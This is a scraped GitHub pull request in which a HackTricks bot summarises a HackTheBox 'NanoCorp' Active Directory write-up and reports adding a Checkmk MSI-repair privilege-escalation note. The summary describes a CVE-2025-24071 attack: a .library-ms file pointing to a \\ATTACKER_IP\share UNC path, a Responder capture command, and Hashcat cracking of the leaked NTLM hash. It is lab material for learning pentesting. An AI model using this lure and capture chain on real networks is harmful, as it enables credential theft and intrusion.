HTB NanoCorp CVE-2025-24071 NTLM Leak, AD ACL Abuse, Kerbero...#2410
Open
carlospolop wants to merge 1 commit into
Open
HTB NanoCorp CVE-2025-24071 NTLM Leak, AD ACL Abuse, Kerbero...#2410carlospolop wants to merge 1 commit into
carlospolop wants to merge 1 commit into
Conversation
Collaborator
Author
🔗 Additional ContextOriginal Blog Post: https://0xdf.gitlab.io/2026/06/20/htb-nanocorp.html Content Categories: Based on the analysis, this content was categorized under "Windows Hardening > NTLM > Places to steal NTLM creds; Active Directory Methodology > Abusing Active Directory ACLs/ACEs; Windows Local Privilege Escalation". Repository Maintenance:
Review Notes:
Bot Version: HackTricks News Bot v1.0 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
🤖 Automated Content Update
This PR was automatically generated by the HackTricks News Bot based on a technical blog post.
📝 Source Information
🎯 Content Summary
NanoCorp is a Hard HackTheBox Windows Active Directory machine running
nanocorp.htbon hostDC01. The full attack path is: enumerate a Windows Server 2022 domain controller, discover a careers portal athire.nanocorp.htbthat accepts ZIP application uploads, exploitCVE-2025-24071with a malicious.library-msinside a ZIP to force outbound SMB authentication from the automated extraction job, capture and crack t...🔧 Technical Details
Archive-triggered Net-NTLMv2 leak with
.library-ms: If a Windows process automatically extracts or previews attacker-controlled archives, a malicious.library-msfile can embed a remote SMB URL such as\\ATTACKER_IP\share\under<libraryDescription><searchConnectorDescriptionList><searchConnectorDescription><simpleLocation><url>...</url>. When Windows processes the library file, it resolves the UNC path and sends NTLM authentication to the attacker-controlled SMB listener. The attack pattern is: generate the XML, zip it, upload it into the target workflow, and run Responder withsudo uv run Responder.py -I tun0. The result is a Net-NTLMv2 challenge-response for the account processing the archive, which can be cracked offline with Hashcat mode5600if the password is weak.AD ACL chaining from group membership control to password reset:🤖 Agent Actions
Done.
Updated file
src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.mdWhat I added
.cmdexecution fromC:\Windows\Tempcmk_all_<PID>_1.cmdas read-onlyC:\Windows\Installermsiexec /faqwinstawhen repair behaves differently from non-interactive WinRMWhy only this
.library-msNTLM leaksForceChangePasswordSo the main missing technique from the blog was the Checkmk MSI-repair temp-script privesc pattern.
References added
Validation
## Referencessection and ends with the banner include.mdbook buildcould not be run becausemdbookis not installed in this environment.This PR was automatically created by the HackTricks Feed Bot. Please review the changes carefully before merging.